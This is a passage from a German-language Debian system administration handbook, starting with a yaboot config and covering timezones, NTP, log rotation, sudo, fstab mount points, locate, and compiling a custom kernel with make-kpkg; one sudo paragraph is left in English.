# bootstrap partition boot=/dev/sda2 # the disk device=hd: # the Linux partition partition=3 root=/dev/sda3 # boot after 3 seconds of inactivity # (timeout is in tenths of seconds) timeout=30 install=/usr/lib/yaboot/yaboot magicboot=/usr/lib/yaboot/ofboot enablecdboot # last kernel installed image=/vmlinux label=linux initrd=/initrd.img read-only # old kernel image=/vmlinux.old label=old initrd=/initrd.img.old read-only # only for Linux/Mac OSX dual-boot macosx=/dev/sda5 # bsd=/dev/sdaX and macos=/dev/sdaX # are also possible

8.9. Weitere Konfigurierungen: Zeitsynchronisation, Protokolle, Gemeinsamer Zugang...

Die zahlreichen in diesem Abschnitt aufgeführten Elemente sind für jeden wissenswert, der alle Aspekte der Konfigurierung eines GNU/Linux-Systems beherrschen möchte. Sie werden jedoch nur kurz behandelt, und häufig wird auf die Dokumentation verwiesen.

8.9.1. Zeitzone

ZURÜCK ZU DEN GRUNDLAGEN Symbolische Verknüpfungen

Eine symbolische Verknüpfung ist ein Verweis auf eine andere Datei. Wenn man auf sie zugreift, wird die Datei, auf die sie verweist, geöffnet. Die Entfernung der Verknüpfung führt nicht dazu, dass die Datei, auf die sie verweist, gelöscht wird. Ebenso hat sie nicht ihren eigenen Satz von Berechtigungen, sondern behält die Berechtigungen ihres Ziels bei. Und schließlich kann sie auf jede Art von Datei verweisen: Verzeichnisse, spezielle Dateien (Sockets, benannte Pipes, Gerätedateien usw.) und selbst auf andere symbolische Verknüpfungen.

Der Befehl ln -s ziel verknüpfungsname erstellt eine symbolische Verknüpfung namens verknüpfungsname, die auf ziel verweist.

Falls das Ziel nicht existiert, ist die Verknüpfung „gebrochen“, und der Zugriff darauf ergibt eine Fehlermeldung, die besagt, dass die Zieldatei nicht existiert. Falls die Verknüpfung auf eine andere Verknüpfung verweist, hat man eine „Kette“ von Verknüpfungen, die zu einem „Kreis“ wird, falls eines der Ziele auf einen seiner Vorgänger verweist. In diesem Fall führt der Zugriff auf eine der Verknüpfungen in diesem Kreis zu einer besonderen Fehlermeldung („too many levels of symbolic links“); das heißt, dass der Kernel nach einigen Runden des Kreises aufgegeben hat.

Die Zeitzone wird während der anfänglichen Installation eingestellt und ist ein Konfigurierungspunkt für das Paket tzdata. Um sie zu ändern, wird der Befehl dpkg-reconfigure tzdata eingesetzt, der eine interaktive Auswahl der zu verwendenden Zeitzone ermöglicht (bis zu lenny wurde hierfür der Befehl tzconfig benutzt). Seine Konfiguration wird in der Datei /etc/timezone gespeichert. Zusätzlich wird die entsprechende Datei aus dem Verzeichnis /usr/share/zoneinfo nach /etc/localtime kopiert; diese Datei enthält die Regeln, die die Dauer der Sommerzeit für jedes Land, das sie einsetzt, festlegt.

Wenn man die Zeitzone vorübergehend ändern muss, verwendet man die Umgebungsvariable TZ, die Vorrang vor der konfigurierten Voreinstellung des Systems hat:

$ date Wed Mar 28 15:51:19 CEST 2012 $ TZ="Pacific/Honolulu" date Wed Mar 28 03:51:21 HST 2012

HINWEIS System-Uhr, Hardware-Uhr

Es gibt in einem Rechner zwei Zeitquellen. Die Hauptplatine eines Rechners verfügt über eine Hardware-Uhr, die sogenannte „CMOS-Uhr“. Diese Uhr ist nicht sehr genau und bietet nur recht langsame Zugriffszeiten. Der Kernel des Betriebssystems hat seine eigene Uhr, die sogenannte Software-Uhr, die mit ihren eigenen Mitteln richtig eingestellt bleibt (möglicherweise mit Hilfe von Zeitservern, siehe Abschnitt „Zeitsynchronisierung“). Diese System-Uhr ist normalerweise genauer, vor allem da sie keinen Zugang zu Hardware-Variablen benötigt. Da sie jedoch nur im Arbeitsspeicher existiert, wird sie bei jedem Hochfahren des Rechners auf Null zurückgesetzt im Gegensatz zur CMOS-Uhr, die über eine Batterie verfügt und daher den Neustart oder das Abschalten des Rechners „überlebt“. Die System-Uhr wird daher während des Hochfahrens von der CMOS-Uhr gestellt, und die CMOS-Uhr während des Abschaltens aktualisiert (um mögliche Änderungen oder Korrekturen zu berücksichtigen, falls sie falsch eingestellt war).

In der Praxis entsteht ein Problem, da die CMOS-Uhr lediglich ein Zähler ist und keinerlei Informationen zur Zeitzone enthält. Bezüglich ihrer Interpretation ist daher eine Entscheidung zu treffen: entweder geht das System davon aus, dass sie in Weltzeit (UTC, früher GMT) läuft, oder in Ortszeit. Diese Entscheidung könnte zu einer einfachen Verschiebung führen, in Wirklichkeit sind die Dinge jedoch etwas komplizierter: aufgrund der Sommerzeit ist dieser Versatz nicht konstant. Daher hat das System keine Möglichkeit zu entscheiden, ob der Versatz korrekt ist, insbesondere nicht zu Zeiten der Zeitumstellung. Da es immer möglich ist, die Ortszeit aus der Weltzeit und der Information über die Zeitzone abzuleiten, empfehlen wir nachdrücklich, die CMOS-Uhr in Weltzeit zu verwenden.

Leider ignorieren Windows-Systeme in ihrer Standardeinstellung diese Empfehlung; sie halten die CMOS-Uhr auf Ortszeit und wenden beim Hochfahren des Rechners Zeitveränderungen an, indem sie zu Zeiten einer Zeitumstellung schätzen, ob die Umstellung bereits stattgefunden hat oder noch nicht. Dies funktioniert solange relativ gut, wie auf dem System nur Windows läuft. Wenn ein Rechner jedoch mehrere Systeme hat (ob dies nun eine „Dual-Boot“-Konfiguration ist oder andere Systeme als virtuelle Rechner laufen), entsteht Chaos ohne eine Möglichkeit zu entscheiden, ob die Zeit korrekt ist. Falls Sie Windows unbedingt auf einem Rechner behalten müssen, sollten Sie ihn entweder so einstellen, dass er die CMOS-Uhr auf UTC eingestellt hält, oder auf dem Debian-System UTC in der Datei /etc/default/rcS deaktivieren (und sicherstellen, dass Sie Ihre Uhr im Frühjahr und Herbst von Hand umstellen).

8.9.2. Zeitsynchronisierung

Zeitsynchronisierung, die auf einem Rechner überflüssig erscheinen mag, ist in einem Netzwerk sehr wichtig. Da Benutzer keine Berechtigung zur Änderung des Datums und der Zeit haben, ist es wichtig, dass diese Information genau stimmt, um Verwirrung zu vermeiden. Außerdem können Informationen aus den Protokollen verschiedener Rechner besser aufeinander bezogen werden, wenn alle Rechner eines Netzwerks synchronisiert sind. Im Falle eines Angriffs ist es so einfacher, die zeitliche Abfolge der Ereignisse auf verschiedenen von der Störung betroffenen Rechnern zu rekonstruieren. Daten, die auf verschiedenen Rechnern zu statistischen Zwecken gesammelt werden, wären nicht sehr sinnvoll, wenn sie nicht synchronisiert wären.

ZURÜCK ZU DEN GRUNDLAGEN NTP

NTP (Network Time Protocol) ermöglicht es einem Rechner, sich mit anderen recht genau zu synchronisieren unter Berücksichtigung der Verzögerungen, die durch die Informationsübertragung über das Netzwerk und andere mögliche Verschiebungen entstehen.

Obwohl es im Internet zahlreiche NTP-Server gibt, können die bekannteren überlastet sein. Daher empfehlen wir, den NTP-Server pool.ntp.org zu benutzen, der in Wirklichkeit eine Gruppe von Rechnern ist, die laut Vereinbarung als öffentliche NTP-Server dienen. Sie können sogar die Benutzung auf eine für ein Land bestimmte Untergruppe beschränken, wie zum Beispiel de.pool.ntp.org für Deutschland oder at.pool.ntp.org für Österreich usw.

Wenn Sie jedoch ein großes Netzwerk verwalten, ist es empfehlenswert, Ihren eigenen NTP-Server zu installieren, der sich mit den öffentlichen Servern synchronisiert. Auf diese Weise können alle anderen Rechner in Ihrem Netzwerk Ihren internen NTP-Server benutzen, statt die Belastung der öffentlichen Server zu erhöhen. Sie steigern so auch die Homogenität Ihrer Uhren, da sich alle Rechner mit derselben Quelle synchronisieren und diese Quelle bezogen auf die Übertragungszeiten sehr nah ist.

8.9.2.1. Für Arbeitsplatzrechner

Da Arbeitsplatzrechner häufig neu gestartet werden (selbst wenn dies nur zur Energieersparnis dient), genügt es, sie beim Hochfahren über NTP zu synchronisieren. Hierzu installieren Sie einfach das Paket ntpdate. Bei Bedarf können Sie den verwendeten NTP-Server durch Änderung der Datei /etc/default/ntpdate wechseln.

8.9.2.2. Für Server

Server werden nur selten neu gestartet, und es ist sehr wichtig, dass ihre Systemzeit korrekt ist. Um dauerhaft die richtige Zeit beizubehalten, sollten Sie einen lokalen NTP-Server installieren, einen Dienst, der vom Paket ntp angeboten wird. In seiner voreingestellten Konfiguration synchronisiert sich dieser Server mit pool.ntp.org und stellt die Zeit auf Anfragen aus dem lokalen Netzwerk hin bereit. Sie können ihn konfigurieren, indem Sie die Datei /etc/ntp.conf editieren, wobei die wichtigste Änderung in dem NTP-Server besteht, an den er sich wendet. Falls das Netzwerk viele Server hat, könnte es von Interesse sein, einen lokalen Server einzurichten, der sich mit den öffentlichen Servern synchronisiert und der dann von den anderen Servern des Netzwerks als Quelle benutzt wird.

WEITERE SCHRITTE GPS-Module und andere Zeitquellen

Falls die Zeitsynchronisierung für Ihr Netzwerk besonders kritisch ist, können Sie einen Server mit einem GPS-Modul ausstatten (das die Zeit eines GPS-Satelliten verwendet) oder mit einem DCF-77-Modul (das die Zeit mit der Atomuhr in der Nähe von Frankfurt/Main synchronisiert). In diesen Fällen ist die Konfigurierung des NTP-Servers ein bisschen komplizierter und die vorherige Lektüre der Dokumentation eine absolute Notwendigkeit.

8.9.3. Protokolldateien rotieren

Protokolldateien können größer werden, und zwar schnell, und es ist wichtig, sie zu archivieren. Das häufigste System besteht in einem rotierenden Archiv: die Protokolldatei wird regelmäßig archiviert, und nur die letzten X Archivdateien aufbewahrt. logrotate, das für diese Rotationen zuständige Programm folgt den Anweisungen, die ihm in der Datei /etc/logrotate.conf und in allen im Verzeichnis /etc/logrotate.d/ befindlichen Dateien gegeben werden. Der Administrator kann diese Dateien verändern, falls er die von Debian festgelegten Richtlinien zur Protokollrotation anpassen möchte. Die Handbuchseite logrotate(1) beschreibt alle in diesen Konfigurationsdateien verfügbaren Optionen. Sie möchten vielleicht die Anzahl der in der Protokollrotation zurückbehaltenen Dateien erhöhen oder Protokolldateien in ein besonderes Verzeichnis verschieben, um sie zu archivieren statt zu löschen. Sie könnten sie auch per E-Mail verschicken, um sie andernorts zu archivieren.

Das Programm logrotate wird täglich durch das Termimsteuerungssprogramm cron ausgeführt (beschrieben in Section 9.7, “Aufgaben mit cron und atd zeitlich festlegen”).

8.9.4. Administratorrechte gemeinsam nutzen

Frequently, several administrators work on the same network. Sharing the root passwords is not very elegant, and opens the door for abuse due to the anonymity such sharing creates. The solution to this problem is the sudo program, which allows certain users to execute certain commands with special rights. In the most common use case, sudo allows a trusted user to execute any command as root. To do so, the user simply executes sudo command and authenticates using their personal password.

Wenn es installiert ist, gibt das Paket sudo niemandem irgendwelche Berechtigungen. Um solche Berechtigungen zu vergeben, muss der Administrator den Befehl visudo einsetzen, der es ihm ermöglicht, die Konfigurationsdatei /etc/sudoers zu verändern (hierdurch wird der Editor vi aufrufen oder ein anderer in der Umgebungsvariablen EDITOR angegebener Editor). Das Hinzufügen einer Zeile mit benutzername ALL=(ALL) ALL ermöglicht es dem betreffenden Benutzer, einen beliebigen Befehl als Root auszuführen.

Komplexere Konfigurationen ermöglichen es, bestimmte Befehle nur bestimmten Benutzern zu erlauben. Alle Einzelheiten der verschiedenen Möglichkeiten werden auf der Handbuchseite sudoers(5) beschrieben.

8.9.5. Liste der Einhängepunkte

ZURÜCK ZU DEN GRUNDLAGEN Ein- und Aushängen

In einem unixähnlichen System wie Debian sind Dateien in einer einzelnen baumähnlichen Hierarchie von Verzeichnissen organisiert. Das Verzeichnis / wird „Wurzelverzeichnis“ genannt; alle weiteren Verzeichnisse sind Unterverzeichnisse dieser Wurzel. „Einhängen“ ist die Maßnahme, mit der der Inhalt eines Peripheriegerätes (häufig einer Festplatte) in den allgemeinen Dateienbaum des Systems einbezogen wird. Falls man eine separate Festplatte zur Speicherung der persönlichen Daten der Benutzer verwendet, muss diese Platte folglich in das Verzeichnis /home/ „eingehängt“ werden. Das Wurzelverzeichnis wird vom Kernel beim Hochfahren immer eingehängt; andere Geräte werden häufig später im Verlauf der Startsequenz eingehängt oder von Hand mit dem Befehl mount.

Einige auswechselbare Geräte werden automatisch eingehängt, wenn sie angeschlossen werden, insbesondere wenn die grafischen Arbeitsumgebungen GNOME, KDE oder andere verwendet werden. Andere Geräte müssen durch den Benutzer von Hand eingehängt werden. Sie müssen auch wieder ausgehängt (aus dem Dateibaum entfernt) werden. Normale Benutzer haben im Allgemeinen nicht die Berechtigung, die Befehle mount und umount auszuführen. Der Administrator kann jedoch diese Vorgänge erlauben (unabhängig für jeden einzelnen Einhängepunkt), indem er die Option user zur Datei /etc/fstab hinzufügt.

Der Befehl mount kann ohne Argumente benutzt werden (er listet dann alle eingehängten Dateisysteme auf). Die nachfolgenden Parameter sind erforderlich, um ein Gerät ein- oder auszuhängen. Entnehmen Sie bitte die vollständige Auflistung den Handbuchseiten mount(8) und umount(8). Für einfache Fälle ist die Syntax ebenfalls einfach: um zum Beispiel die Partition /dev/sdc1, die ein ext3-Dateisystem hat, in das Verzeichnis /mnt/tmp/ einzuhängen, würden Sie einfach mount -t ext3 /dev/sdc1 /mnt/tmp/ eingeben.

Die Datei /etc/fstab enthält eine Liste aller möglichen Einhängepunkte, die entweder während des Hochfahrens automatisch eingehängt werden oder bei auswechselbaren Speichergeräten von Hand. Jeder Einhängepunkt wird in einer Zeile mit mehreren durch Leerzeichen getrennten Feldern beschrieben:

einzuhängendes Gerät: dies kann eine lokale Partition sein (Festplatte, CD-ROM) oder ein entferntes Dateisystem (wie zum Beispiel ein NFS).

Dieses Feld wird häufig durch die eindeutige ID des Dateisystems ersetzt (die man mit dem Befehl blkid gerät feststellen kann) mit vorausgestellter UUID=. Dies schützt vor einer Änderung des Gerätenamens, falls ein Gerät hinzugefügt oder entfernt wird, oder falls Platten in einer anderen Reihenfolge erkannt werden.

mount point: dies ist der Ort innerhalb des lokalen Dateisystems, an dem das Gerät, das entfernte System oder die Partition eingehängt werden.

type: dieses Feld legt das auf dem eingehängten Gerät verwendete Dateisystem fest. ext3, vfat, ntfs, reiserfs, xfs sind einige Beispiele.

ZURÜCK ZU DEN GRUNDLAGEN NFS, ein Netzwerk-Dateisystem

NFS ist ein Netzwerk-Dateisystem; unter Linux ermöglicht es einen transparenten Zugriff auf entfernte Dateien, indem sie in das lokale Dateisystem einbezogen werden.

Eine vollständige Liste bekannter Dateisysteme steht auf der Handbuchseite mount(8) zur Verfügung. Der besondere Wert swap gilt für Swap-Partitionen; der besondere Wert auto weist das Programm mount an, das Dateisystem selbstständig zu ermitteln (was besonders bei Laufwerken und USB-Sticks hilfreich ist, da jedes ein anderes Dateisystem haben kann).

options: es gibt viele in Abhängigkeit vom Dateisystem, und sie sind auf der Handbuchseite von mount dokumentiert. Die häufigsten sind

rw und ro bedeuten, dass das Gerät mit den Berechtigungen zum Lesen und Schreiben beziehungsweise nur zum Lesen eingehängt wird.

noauto deaktiviert das automatische Einhängen beim Hochfahren.

user erlaubt es allen Benutzern, dieses Dateisystem einzuhängen (ein Vorgang, der sonst nur auf den Root-Benutzer beschränkt wäre).

defaults bezeichnet die Gruppe der voreingestellten Optionen: rw, suid, dev, exec, auto, nouser und async, von denen jede einzeln nach defaults abgestellt werden kann, indem man nosuid, nodev und so weiter hinzufügt, um suid, dev und so weiter zu sperren. Das Hinzufügen der Option userreaktiviert diese wieder, da defaults die Option nouser enthält.

backup: dieses Feld ist fast immer auf 0 gesetzt. Falls es 1 ist, weist dies das Hilfsprogramm dump darauf hin, dass die Partition Daten enthält, die gesichert werden müssen.

check order: dieses letzte Feld zeigt an, ob die Integrität des Dateisystems beim Hochfahren überprüft werden soll, und in welcher Reihenfolge diese Überprüfung durchgeführt werden soll. Falls es 0 ist, wird keine Überprüfung durchgeführt. Das Wurzelverzeichnis sollte den Wert 1 haben, während andere dauerhaft eingehängte Dateisysteme den Wert 2 erhalten.

Example 8.6. Beispiel der Datei /etc/fstab:

# /etc/fstab: static file system information. # # <file system> <mount point> <type> <options> <dump> <pass> proc /proc proc defaults 0 0 # / was on /dev/sda1 during installation UUID=c964222e-6af1-4985-be04-19d7c764d0a7 / ext3 errors=remount-ro 0 1 # swap was on /dev/sda5 during installation UUID=ee880013-0f63-4251-b5c6-b771f53bd90e none swap sw 0 0 /dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0 /dev/fd0 /media/floppy auto rw,user,noauto 0 0 arrakis:/shared /shared nfs defaults 0 0

Der letzte Eintrag dieses Beispiels bezieht sich auf ein Netzwerk-Dateisystem (NFS): das Verzeichnis /shared/ auf dem Server arrakis wird auf dem lokalen Rechner unter /shared/ eingehängt. Das Format der Datei /etc/fstab ist auf der Handbuchseite fstab(5) dokumentiert.

WEITERE SCHRITTE Selbstständiges Einhängen

Das Paket am-utils stellt amd zur Verfügung, ein Dienstprogramm zum selbstständigen Einhängen, das in der Lage ist, Wechselmedien bei Bedarf einzuhängen, wenn ein Benutzer versucht, auf ihren üblichen Einhängepunkt zuzugreifen. Es hängt diese Geräte wieder aus, wenn kein Prozess mehr auf sie zugreift.

Es gibt weitere Dienstprogramme zum selbstständigen Einhängen, wie zum Beispiel automount im Paket autofs.

Beachten Sie auch, dass GNOME, KDE und andere grafische Arbeitsplatzumgebungen mit dem System hal (Hardware Abstraction Layer) zusammenarbeiten und automatisch Wechselmedien einhängen können, wenn diese angeschlossen werden.

8.9.6. locate und updatedb

Der Befehl locate kann den Ort einer Datei finden, wenn Sie nur einen Teil ihres Namens kennen. Er zeigt das Ergebnis fast sofort an, da er in einer Datenbank nachschlägt, die den Ort aller auf dem System befindlichen Dateien speichert; diese Datenbank wird täglich durch den Befehl updatedb aktualisiert (ausgeführt durch das Skript /etc/cron.daily/find).

Da jeder locate verwenden kann, ist es wichtig, dass versteckte Dateien dem Benutzer nicht angezeigt werden. Daher läuft der Befehl updatedb mit den begrenzten Berechtigungen des Benutzers nobody, was auf Unix-Systemen ein typisches Muster für diese Art von Aufgaben ist. Darüber hinaus kann der Administrator einstellen, dass einige Verzeichnisse übersprungen werden, indem er sie einfach in der Datei /etc/updatedb.conf unter der Variablen PRUNEDPATHS einträgt.

Das Paket slocate geht noch hierüber hinaus, indem es den Befehl locate durch eine sicherere Version ersetzt, die nur die Namen von Dateien ausgibt, auf die der Nutzer, der diesen Befehl verwendet, zugreifen kann.

8.10. Einen Kernel kompilieren

Die von Debian bereitgestellten Kernel umfassen die größtmögliche Anzahl an Leistungsmerkmalen wie auch ein Maximum an Treibern, um ein möglichst breites Spektrum der existierenden Hardware-Konfigurationen abzudecken. Daher ziehen es einige Anwender vor, den Kernel neu zu kompilieren, um so genau nur das einzuschließen, was sie wirklich brauchen. Es gibt zwei Gründe für diese Entscheidung. Zum einen kann es darum gehen, den Speicherverbrauch zu optimieren, da der Kernelcode, selbst wenn er niemals gebraucht wird, unnötig Speicher belegt (und niemals in den Swap „hinuntergeht“, da es wirkliches RAM ist, das er benutzt), wodurch sich die Gesamtleistung des Systems verringern kann. Ein lokal kompilierter Kernel kann außerdem das Risiko von Sicherheitsproblemen reduzieren, da nur ein Bruchteil des Kernelcodes kompiliert wird und läuft.

HINWEIS Sicherheitsaktualisierungen

Wenn Sie sich dazu entschließen, Ihren eigenen Kernel zu kompilieren, müssen Sie auch die Konsequenzen in Kauf nehmen: Debian kann bei Ihrem maßgeschneiderten Kernel nicht für Sicherheitsaktualisierungen sorgen. Wenn Sie dagegen den von Debian bereitgestellten Kernel behalten, profitieren Sie von Aktualisierungen, die vom Sicherheitsteam des Debian-Projekts erstellt werden.

Eine Rekompilierung des Kernels ist auch erforderlich, wenn Sie bestimmte Leistungsmerkmale verwenden möchten, die nur als Patches zur Verfügung stehen (und nicht in der Standardversion des Kernels enthalten sind).

8.10.1. Einführung und Voraussetzungen

Debian verwaltet den Kernel in Form eines Pakets, was nicht der Art entspricht, wie Kernel traditionell kompiliert und installiert wurden. Deshalb sind zu diesem Zweck besondere Hilfsprogramme entwickelt worden. Sie ermöglichen es, aus den Quellen des Linux-Kernels auf einfache Weise ein Debian-Paket zu erstellen, wobei im Verlauf dieses Prozesses möglicherweise zusätzliche Patches hinzugefügt werden. Da der Kernel unter der Kontrolle des Paketierungssystems verbleibt, kann er dann sauber entfernt oder auf mehreren Rechnern eingesetzt werden. Außerdem automatisieren die zu diesen Paketen gehörigen Skripten die Interaktion mit dem Boot-Loader.

Um einen Linux-Kernel auf die bei Debian übliche Weise zu kompilieren, benötigen Sie die im Paket kernel-package enthaltenen Hilfsprogramme. Außerdem erfordert der Konfigurierungsschritt für den Kernel das Paket libncurses5-dev. Und schließlich ermöglicht das Paket fakeroot die Erstellung des Debian-Pakets, ohne dabei Administratorrechte zu verwenden.

8.10.2. Die Quellen besorgen

Wie alles, was auf einem Debian-System verwendbar ist, stehen die Linux-Kernelquellen in einem Paket zu Verfügung. Um sie zu erhalten, installiert man einfach das Paket linux-source-version. Der Befehl apt-cache search ^linux-source führt die verschiedenen von Debian paketierten Kernelversionen auf. Die jüngste Version ist in der Distribution Unstable enthalten: Sie können sie ohne großes Risiko abrufen (insbesondere wenn Ihr APT in Übereinstimmung mit der Anleitung in Section 6.2.6, “Mit mehreren Distributionen arbeiten” konfiguriert ist). Beachten Sie, dass der in diesen Paketen enthaltene Quellcode nicht genau dem von Linus Torvalds und den Kernel-Entwicklern veröffentlichten entspricht; wie alle Distributionen, so wendet auch Debian eine Reihe von Patches an. Diese Änderungen umfassen sowohl Patches (einige mit Bezug zu Sicherheitsproblemen), die darauf warten, in die nächste Version des Kernels aufgenommen zu werden, als auch einige Leistungsmerkmale, die für Debian spezifisch sind (wie cramfs, ein spezielles Dateisystem für das initrd-Abbild).

KULTUR Namen der Kernelpakete

Früher wurden Pakete, die Debian-Kernel enthielten, kernel-image-* genannt, obwohl alle in Wirklichkeit nur einen Linux-Kernel enthielten. Da Debian auch mit anderen Kerneln funktioniert (zum Beispiel Hurd und FreeBSD), war dies verwirrend. Heute werden die Pakete „linux-image-*“ genannt; die Pakete namens kernel-image-* sind jetzt leere Hüllen und ihr einziger Zweck besteht darin, den Übergang zu erleichtern. Quellpakete für den Linux-Kernel werden auch „linux-source-*“ genannt. Bei den Paketen, die Patches enthalten, ist der Übergang noch nicht abgeschlossen. Daher gibt es sowohl Pakete mit der Bezeichnung linux-patch-* als auch solche, die kernel-patch-* heißen. kernel-package bleibt kernel-package, da es nicht für Linux spezifisch ist (es könnte zum Beispiel auch FreeBSD-Kernelpakete erstellen).

Der Rest dieses Abschnitts befasst sich mit der Version 2.6.32 des Linux-Kernels, aber die Beispiele können natürlich an die jeweilige Kernel-Version, die Sie möchten, angepasst werden.

Wir gehen davon aus, dass das Paket linux-source-2.6.32 installiert worden ist. Es enthält /usr/src/linux-source-2.6.32.tar.bz2, ein komprimiertes Archiv der Kernelquellen. Sie müssen diese Dateien in ein neues Verzeichnis entpacken (nicht direkt in /usr/src/, da besondere Berechtigungen für die Kompilierung eines Linux-Kernels nicht erforderlich sind): ~/kernel/ wäre geeignet.

$ mkdir ~/kernel; cd ~/kernel $ tar -xjf /usr/src/linux-source-2.6.32.tar.bz2

KULTUR Ort der Kernelquellen

Traditionell würden Linux-Kernelquellen in /usr/src/linux/ abgelegt werden und damit Root-Berechtigungen für die Kompilierung erfordern. Das Arbeiten mit Administratorrechten sollte jedoch vermieden werden, wenn es nicht nötig ist. Es gibt eine Gruppe namens src, die es ihren Mitgliedern ermöglicht, in diesem Verzeichnis zu arbeiten, aber die Arbeit in /usr/src/ sollte dennoch vermieden werden. Indem Sie die Kernel-Quellen in einem persönlichen Verzeichnis halten, sind Sie in jeder Hinsicht sicher: es gibt keine Dateien in /usr/, die dem Paketierungssystem nicht bekannt sind, und es gibt kein Risiko, dass Programme dadurch in die Irre geführt werden, dass sie /usr/src/linux lesen, wenn sie versuchen, Informationen über den verwendeten Kernel zu sammeln.

8.10.3. Den Kernel konfigurieren

Der nächste Schritt besteht darin, den Kernel Ihren Bedürfnissen entsprechend zu kompilieren. Das genaue Vorgehen hängt von den Zielen ab.

Wenn eine neuere Version des Kernels (möglicherweise mit einem zusätzlichen Patch) rekompiliert wird, wird die Konfigurierung höchstwahrscheinlich möglichst nah an der von Debian vorgeschlagenen gehalten werden. In diesem Fall, und anstatt alles von Grund auf neu zu konfigurieren, genügt es, die Datei /boot/config-version (die Version entspricht der des zur Zeit verwendeten Kernels, die mit dem Befehl uname -r gefunden werden kann) in eine Datei namens .config im Verzeichnis, das die Kernelquellen enthält, zu kopieren.

$ cp /boot/config-2.6.32-5-686 ~/kernel/linux-source-2.6.32/.config

Falls Sie die Konfiguration nicht zu ändern brauchen, können Sie hier aufhören und zum nächsten Abschnitt springen. Falls Sie sie dagegen ändern müssen, oder falls Sie sich dazu entschließen, alles von Grund auf neu zu konfigurieren, müssen Sie sich die Zeit nehmen, Ihren Kernel zu konfigurieren. Es gibt in dem Verzeichnis mit den Kernelquellen mehrere speziell hierfür vorgesehene Schnittstellen, die mit dem Aufruf des Befehls make ziel verwendet werden können, wobei ziel einer der unten beschriebenen Werte ist.

make menuconfig kompiliert eine Schnittstelle im Textmodus und führt sie aus (an dieser Stelle ist das Paket libncurses5-dev erforderlich), die es ermöglicht, durch die in einer hierarchischen Struktur verfügbaren Optionen zu navigieren. Ein Druck auf die Leer-Taste ändert den Wert der ausgewählten Option, und Enter bestätigt die am unteren Bildschirmrand ausgewählte Schaltfläche; Select geht zum ausgewählten Untermenü zurück; Exit schließt den aktuellen Bildschirm und kehrt aufwärts in die Hierarchie zurück; Help zeigt ausführlichere Informationen zur Rolle der ausgewählten Option an. Mit den Pfeiltasten ist es möglich, sich innerhalb der Liste von Optionen und Schaltflächen zu bewegen. Um das Konfigurierungsprogramm zu verlassen, wählt man Exit im Hauptmenü. Das Programm bietet dann an, die vorgenommenen Änderungen zu speichern; nehmen Sie diesen Vorschlag an, wenn Sie mit Ihrer Auswahl zufrieden sind.

Andere Schnittstellen verfügen über ähnliche Merkmale, arbeiten jedoch mit moderneren grafischen Schnittstellen, wie zum Beispiel make xconfig, das eine grafische Schnittstelle auf der Basis von Qt verwendet, und make gconfig, das GTK+ benutzt. Ersteres erfordert libqt3-mt-dev, während Letzteres von libglade2-dev und libgtk2.0-dev abhängt.

Der im nächsten Absatz dargestellte Befehl make-kpkg führt make oldconfig selbsttätig aus, um zu gewährleisten, dass eine Kernelkonfigurierung vorhanden ist. Diese Konfigurierungsmethode verwendet einfach die in der Datei .config gespeicherten Auswahleinstellungen. Falls eine derartige Datei nicht vorhanden ist, verhält sie sich wie make config, eine Text-Schnittstelle, die alle Fragen (hunderte von ihnen) eine nach der anderen stellt. Falls die Datei .config zwar bereits vorhanden ist, aber nicht alle existierenden Optionen erwähnt, stellt diese Methode nur die Fragen, für die in der Datei keine Antwort gespeichert ist.

TIPP make-kpkg --config

Man kann make-kpkg anweisen, andere Konfigurierungsmethoden als make oldconfig zu verwenden, indem man beim Aufruf von make-kpkg mit der Option --config das Ziel angibt (menuconfig, xconfig oder gconfig.

8.10.4. Das Paket kompilieren und erstellen

HINWEIS Vor der Neuerstellung aufräumen

Falls Sie bereits in dem Verzeichnis kompiliert haben und mit neuen Quellen ein weiteres Mal kompilieren möchten, müssen Sie zunächst fakeroot make-kpkg clean ausführen. Dies ermöglicht es Ihnen außerdem, ein Paket mit einem neuen Namen zu erstellen (mit einer anderen Einstellung von --append-to-version).

TIPP Kernelpaket-Header

make-kpkg verwendet Informationen aus der Datei /etc/kernel-pkg.conf, um Header für das Debian-Kernelpaket zu erstellen. Es empfiehlt sich, diese Datei mit korrekten Informationen zu versehen, wenn Sie Ihr Kernelpaket veröffentlichen möchten.

Sobald die Kernelkonfigurierung abgeschlossen ist, kompiliert der von Debian bereitgestellte Befehl make-pkg den Kernel und erzeugt dann das entsprechende Debian-Paket (oder die Pakete). In gleicher Weise wie make nimmt auch make-pkg den Namen eines Ziels, um es als Argument auszuführen: kernel-image erzeugt ein kompiliertes Kernelpaket, kernel-doc ein Paket, das die dem Kernel beigefügte Dokumentation enthält, kernel-headers ein Paket mit den Kernel-Headerdateien (Dateien des Typs .h für den Kernel im Verzeichnis include/, das für das Kompilieren einiger externer Module hilfreich ist), und kernel-source erzeugt ein Paket, das die Kernelquellen enthält.

make-kpkg akzeptiert auch verschiedene Parameter: --append-to-version suffix hängt suffix an den Namen des Kernels an; das Suffix ist auch im Paketnamen enthalten. --revision revision legt die Versionsnummer des erstellten Pakets fest. Debian verwendet bestimmte Suffixe, um Standardkernel zu kennzeichnen, die speziell für einen bestimmten Prozessor kompiliert sind oder mit bestimmten Optionen (-486, -686, -686-bigmem, -amd64, -vserver-686, -vserver-686-bigmem, -openvz-686, -xen-686). Diese Suffixe sollte man bei lokalen Paketen möglichst vermeiden, damit sie leicht von offiziellen Paketen, die vom Debian-Projekt herausgegebenen wurden, unterscheidbar sind.

Der Befehl make-kpkg führt bei der Erstellung des Debian-Pakets Aktionen aus, die normalerweise dem Root-Benutzer vorbehalten sind; er kann jedoch mit dem Befehl fakeroot (siehe HILFSPROGRAMM fakeroot in der Seitenleiste) dazu gebracht werden, unter der Identität eines normalen Benutzers zu laufen.

$ fakeroot make-kpkg --append-to-version -falcot --revision 1 --initrd kernel-image [...] $ ls ../*.deb ../linux-image-2.6.32-falcot_1_i386.deb

Wie Sie sehen, wird das Paket mit dem Namen „linux-image-2.6.32-falcot_1_i386.deb“ erstellt.

8.10.5. Externe Module kompilieren

Einige Module werden außerhalb des offiziellen Linux-Kernels gehalten. Um sie verwenden zu können, müssen sie neben dem passenden Kernel kompiliert werden. Eine Anzahl gebräuchlicher Fremdmodule wird von Debian in speziellen Paketen bereitgestellt: lustre-source für das Lustre-Dateisystem, qc-usb-source für die Treiber einiger USB-Webcams (Logitech QuickCam Express) usw.

